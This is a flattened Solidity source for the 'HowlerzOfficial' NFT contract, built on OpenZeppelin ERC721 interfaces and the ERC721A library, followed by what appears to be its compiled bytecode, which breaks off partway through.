// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: erc721a/contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
// Compiler will pack the following
// _currentIndex and _burnCounter into a single 256bit word.
// The tokenId of the next token to be minted.
uint128 internal _currentIndex;
// The number of tokens burned.
uint128 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (!ownership.burned) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert TokenIndexOutOfBounds();
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds();
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.burned) {
continue;
}
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
// Execution should never reach this point.
revert();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = uint128(updatedIndex);
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract HowlerzOfficial is ERC721A, Ownable {
uint256 constant public MAX_MINT = 5000;
uint256 constant public MAX_MINT_PER_TX = 2;
uint256 constant public PRICE = 0.13 ether;
string public baseURI = "";
address public stakingAddress;
bool public paused;
constructor() ERC721A("Howlerz-Official", "Howlerz-Official") {}
function mint(uint256 quantity) external payable {
require(!paused, "Sale is currently paused.");
require(quantity > 0, "Mint quantity less than 0.");
require(totalSupply() + quantity <= MAX_MINT, "Cannot exceed max mint amount.");
require(quantity <= MAX_MINT_PER_TX, "Cannot exeeds 2 quantity per tx.");
require(msg.value >= quantity * PRICE, "Exceeds mint quantity or not enough eth sent");
_safeMint(msg.sender, quantity);
}
function adminMint(uint256 quantity) external onlyOwner {
require(totalSupply() + quantity <= MAX_MINT, "Cannot exceed max mint amount");
require(quantity <= MAX_MINT_PER_TX, "Cannot mint more than 2 per tx");
_safeMint(msg.sender, quantity);
}
function setStakingAddress(address newStakingAddress) external onlyOwner {
stakingAddress = newStakingAddress;
}
function setBaseURI(string calldata uri) external onlyOwner {
baseURI = uri;
}
function toggleSale() external onlyOwner {
paused = !paused;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function withdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | 0x6080604052600436106101d85760003560e01c8063715018a611610102578063b88d4fde11610095578063e985e9c511610064578063e985e9c51461051d578063f0292a0314610566578063f2fde38b1461057c578063f4e0d9ac1461059c57600080fd5b8063b88d4fde1461049d578063c1f26123146104bd578063c87b56dd146104dd578063d7b4be24146104fd57600080fd5b80638ecad721116100d15780638ecad7211461044057806395d89b4114610455578063a0712d681461046a578063a22cb4651461047d57600080fd5b8063715018a6146103dc5780637d8966e4146103f15780638d859f3e146104065780638da5cb5b1461042257600080fd5b80633ccfd60b1161017a5780635c975abb116101495780635c975abb146103665780636352211e146103875780636c0360eb146103a757806370a08231146103bc57600080fd5b80633ccfd60b146102f157806342842e0e146103065780634f6ccce71461032657806355f804b31461034657600080fd5b8063095ea7b3116101b6578063095ea7b31461026c57806318160ddd1461028e57806323b872dd146102b15780632f745c59146102d157600080fd5b806301ffc9a7146101dd57806306fdde0314610212578063081812fc14610234575b600080fd5b3480156101e957600080fd5b506101fd6101f8366004611b06565b6105bc565b60405190151581526020015b60405180910390f35b34801561021e57600080fd5b50610227610629565b6040516102099190611c63565b34801561024057600080fd5b5061025461024f366004611bb2565b6106bb565b6040516001600160a01b039091168152602001610209565b34801561027857600080fd5b5061028c610287366004611adc565b6106ff565b005b34801561029a57600080fd5b506102a361078d565b604051908152602001610209565b3480156102bd57600080fd5b5061028c6102cc366004611988565b6107ac565b3480156102dd57600080fd5b506102a36102ec366004611adc565b6107b7565b3480156102fd57600080fd5b5061028c6108b4565b34801561031257600080fd5b5061028c610321366004611988565b610923565b34801561033257600080fd5b506102a3610341366004611bb2565b61093e565b34801561035257600080fd5b5061028c610361366004611b40565b6109e9565b34801561037257600080fd5b506009546101fd90600160a01b900460ff1681565b34801561039357600080fd5b506102546103a2366004611bb2565b610a1f565b3480156103b357600080fd5b50610227610a31565b3480156103c857600080fd5b506102a36103d736600461193a565b610abf565b3480156103e857600080fd5b5061028c610b0e565b3480156103fd57600080fd5b5061028c610b44565b34801561041257600080fd5b506102a36701cdda4faccd000081565b34801561042e57600080fd5b506007546001600160a01b0316610254565b34801561044c57600080fd5b506102a3600281565b34801561046157600080fd5b50610227610b8f565b61028c610478366004611bb2565b610b9e565b34801561048957600080fd5b5061028c610498366004611aa0565b610d7d565b3480156104a957600080fd5b5061028c6104b83660046119c4565b610e13565b3480156104c957600080fd5b5061028c6104d8366004611bb2565b610e4d565b3480156104e957600080fd5b506102276104f8366004611bb2565b610f2c565b34801561050957600080fd5b50600954610254906001600160a01b031681565b34801561052957600080fd5b506101fd610538366004611955565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561057257600080fd5b506102a361138881565b34801561058857600080fd5b5061028c61059736600461193a565b610fb1565b3480156105a857600080fd5b5061028c6105b736600461193a565b611049565b60006001600160e01b031982166380ac58cd60e01b14806105ed57506001600160e01b03198216635b5e139f60e01b145b8061060857506001600160e01b0319821663780e9d6360e01b145b8061062357506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461063890611d39565b80601f016020809104026020016040519081016040528092919081815260200182805461066490611d39565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106c682611095565b6106e3576040516333d1c03960e21b815260040160405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061070a82610a1f565b9050806001600160a01b0316836001600160a01b0316141561073f5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b0382161480159061075f575061075d8133610538565b155b1561077d576040516367d9dca160e11b815260040160405180910390fd5b6107888383836110c9565b505050565b6000546001600160801b03600160801b82048116918116919091031690565b610788838383611125565b60006107c283610abf565b82106107e1576040516306ed618760e11b815260040160405180910390fd5b600080546001600160801b03169080805b838110156108ae57600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b810467ffffffffffffffff1692820192909252600160e01b90910460ff16158015928201929092529061085a57506108a6565b80516001600160a01b03161561086f57805192505b876001600160a01b0316836001600160a01b031614156108a4578684141561089d5750935061062392505050565b6001909301925b505b6001016107f2565b50600080fd5b6007546001600160a01b031633146108e75760405162461bcd60e51b81526004016108de90611c76565b60405180910390fd5b6007546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610920573d6000803e3d6000fd5b50565b61078883838360405180602001604052806000815250610e13565b600080546001600160801b031681805b828110156109cf57600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b810467ffffffffffffffff1692820192909252600160e01b90910460ff161515918101829052906109c657858314156109bf5750949350505050565b6001909201915b5060010161094e565b506040516329c8c00760e21b815260040160405180910390fd5b6007546001600160a01b03163314610a135760405162461bcd60e51b81526004016108de90611c76565b61078860088383611885565b6000610a2a82611344565b5192915050565b60088054610a3e90611d39565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6a90611d39565b8015610ab75780601f10610a8c57610100808354040283529160200191610ab7565b820191906000526020600020905b815481529060010190602001808311610a9a57829003601f168201915b505050505081565b60006001600160a01b038216610ae8576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b031660009081526004602052604090205467ffffffffffffffff1690565b6007546001600160a01b03163314610b385760405162461bcd60e51b81526004016108de90611c76565b610b426000611468565b565b6007546001600160a01b03163314610b6e5760405162461bcd60e51b81526004016108de90611c76565b6009805460ff60a01b198116600160a01b9182900460ff1615909102179055565b60606002805461063890611d39565b600954600160a01b900460ff1615610bf85760405162461bcd60e51b815260206004820152601960248201527f53616c652069732063757272656e746c79207061757365642e0000000000000060448201526064016108de565b60008111610c485760405162461bcd60e51b815260206004820152601a60248201527f4d696e74207175616e74697479206c657373207468616e20302e00000000000060448201526064016108de565b61138881610c5461078d565b610c5e9190611cab565b1115610cac5760405162461bcd60e51b815260206004820152601e60248201527f43616e6e6f7420657863656564206d6178206d696e7420616d6f756e742e000060448201526064016108de565b6002811115610cfd5760405162461bcd60e51b815260206004820181905260248201527f43616e6e6f74206578656564732032207175616e74697479207065722074782e60448201526064016108de565b610d0f6701cdda4faccd000082611cd7565b341015610d735760405162461bcd60e51b815260206004820152602c60248201527f45786365656473206d696e74207175616e74697479206f72206e6f7420656e6f60448201526b1d59da08195d1a081cd95b9d60a21b60648201526084016108de565b61092033826114ba565b6001600160a01b038216331415610da75760405163b06307db60e01b815260040160405180910390fd5b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610e1e848484611125565b610e2a848484846114d8565b610e47576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6007546001600160a01b03163314610e775760405162461bcd60e51b81526004016108de90611c76565b61138881610e8361078d565b610e8d9190611cab565b1115610edb5760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f7420657863656564206d6178206d696e7420616d6f756e7400000060448201526064016108de565b6002811115610d735760405162461bcd60e51b815260206004820152601e60248201527f43616e6e6f74206d696e74206d6f7265207468616e203220706572207478000060448201526064016108de565b6060610f3782611095565b610f5457604051630a14c4b560e41b815260040160405180910390fd5b6000610f5e6115e7565b9050805160001415610f7f5760405180602001604052806000815250610faa565b80610f89846115f6565b604051602001610f9a929190611bf7565b6040516020818303038152906040525b9392505050565b6007546001600160a01b03163314610fdb5760405162461bcd60e51b81526004016108de90611c76565b6001600160a01b0381166110405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108de565b61092081611468565b6007546001600160a01b031633146110735760405162461bcd60e51b81526004016108de90611c76565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160801b031682108015610623575050600090815260036020526040902054600160e01b900460ff161590565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061113082611344565b80519091506000906001600160a01b0316336001600160a01b0316148061115e5750815161115e9033610538565b8061117957503361116e846106bb565b6001600160a01b0316145b90508061119957604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b0316146111ce5760405162a1148160e81b815260040160405180910390fd5b6001600160a01b0384166111f557604051633a954ecd60e21b815260040160405180910390fd5b61120560008484600001516110c9565b6001600160a01b038581166000908152600460209081526040808320805467ffffffffffffffff1980821667ffffffffffffffff92831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600390945282852080546001600160e01b031916909417600160a01b4290921691909102179092559086018083529120549091166112fa576000546001600160801b03168110156112fa578251600082815260036020908152604090912080549186015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c